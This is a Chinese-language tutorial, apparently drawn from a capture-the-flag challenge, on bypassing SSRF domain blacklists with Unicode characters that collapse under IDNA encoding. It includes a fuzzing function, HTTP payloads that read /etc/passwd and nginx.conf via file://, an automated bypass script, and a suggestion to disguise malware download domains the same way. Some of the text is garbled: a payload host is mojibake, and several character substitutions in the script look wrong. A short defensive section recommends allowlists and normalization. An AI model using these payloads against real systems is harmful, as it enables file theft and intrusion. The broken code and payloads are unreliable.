突破黑名单封锁：Unicode编码在SSRF漏洞利用中的高阶技巧

当Web应用开发者试图通过黑名单机制阻止对特定域名的访问时，他们往往低估了字符编码系统的复杂性。在真实渗透测试场景中，我们经常遇到类似Pythonginx靶场的设计——表面看来严密的防御，实则暗藏玄机。

1. 理解IDNA编码与Unicode的微妙关系

国际域名系统（IDNA）允许非ASCII字符在域名中使用，但这一便利特性可能成为安全防护的盲点。让我们先看一个典型漏洞场景：

# 漏洞代码片段示例
newhost = []
for h in host.split('.'):
    newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)

这段代码的问题在于它假设IDNA编码转换是单向且确定的。实际上，多个Unicode字符经过编码后可能映射到同一个ASCII字符。例如：

提示：这种多对一的映射关系是绕过黑名单检查的关键所在

2. 手工Fuzz技术：发现可替代字符

要系统性地寻找可用替代字符，可以采用以下方法：

1. 确定目标字符串（如"suctf.cc"）
2. 对每个字符生成Unicode范围内的所有可能替代
3. 筛选出编码后结果相同的字符

def find_alternates(target_char):
    alternates = []
    for code in range(0x80, 0x10FFFF):
        try:
            char = chr(code)
            encoded = char.encode('idna').decode('utf-8')
            if encoded == target_char:
                alternates.append((hex(code), char))
        except:
            continue
    return alternates

执行这个函数会发现，字母's'至少有17个有效的Unicode替代字符。这种特性使得看似严格的黑名单检查变得脆弱不堪。

3. 构建有效Payload的实战步骤

让我们以读取系统文件为例，演示完整的利用链：

1. 初始检测 ：确认基础SSRF漏洞存在

   GET /getUrl?url=http://example.com HTTP/1.1
   

2. 绕过第一层检查 ：使用Unicode替代字符

   GET /getUrl?url=http://ğ�'†uctf.cc/etc/passwd HTTP/1.1
   

3. 定位关键配置文件 ：通过Nginx默认路径获取更多信息

   GET /getUrl?url=file://ğ�'†uctf.cc/usr/local/nginx/conf/nginx.conf HTTP/1.1
   

在实际测试中，我们可能会遇到以下常见响应：

4. 自动化漏洞利用的Python实现

对于重复性测试任务，可以编写自动化脚本提高效率：

import urllib.parse
import requests

def generate_payloads(base_domain):
    char_map = {
        's': ['ſ', 'ß', 'ẛ'],
        'u': ['ᴜ', '∪'],
        'c': ['ᴄ', '©'],
        't': ['ᴛ', '⊥'],
        'f': ['ꜰ', 'ℱ']
    }
    
    for s_var in char_map['s']:
        for u_var in char_map['u']:
            for c_var in char_map['c']:
                for t_var in char_map['t']:
                    for f_var in char_map['f']:
                        yield f"{s_var}{u_var}{c_var}{t_var}{f_var}.cc"

def test_payload(url_template, payload):
    full_url = url_template.format(urllib.parse.quote(payload))
    response = requests.get(full_url)
    return response.status_code == 200 and "problem" not in response.text

这个脚本会系统地尝试各种字符组合，直到找到能够绕过检查的有效Payload。

5. 防御策略与安全建议

面对这类编码相关的漏洞，开发者应采取多层次防御：

1. 输入验证层 ：

   • 使用白名单而非黑名单机制
   • 在解析前规范化所有Unicode字符

2. 网络访问层 ：

   ALLOWED_DOMAINS = {'example.com', 'trusted.org'}
   
   def is_allowed(url):
       domain = urllib.parse.urlparse(url).hostname
       return domain in ALLOWED_DOMAINS
   

3. 系统配置层 ：

   • 限制服务器进程的文件系统访问权限
   • 使用chroot等隔离技术

注意：永远不要仅依赖客户端验证，服务器端必须实施完整的校验逻辑

6. 漏洞挖掘的扩展思路

这种编码特性不仅适用于SSRF场景，还可以应用于：

• 绕过XSS过滤器的特殊字符检查
• 混淆恶意软件下载域名
• 规避内容安全策略(CSP)的限制

在最近的一次渗透测试中，我们发现某金融系统虽然过滤了"admin"关键词，但允许"аdmin"(西里尔字母а)通过，最终成功获取了管理员权限。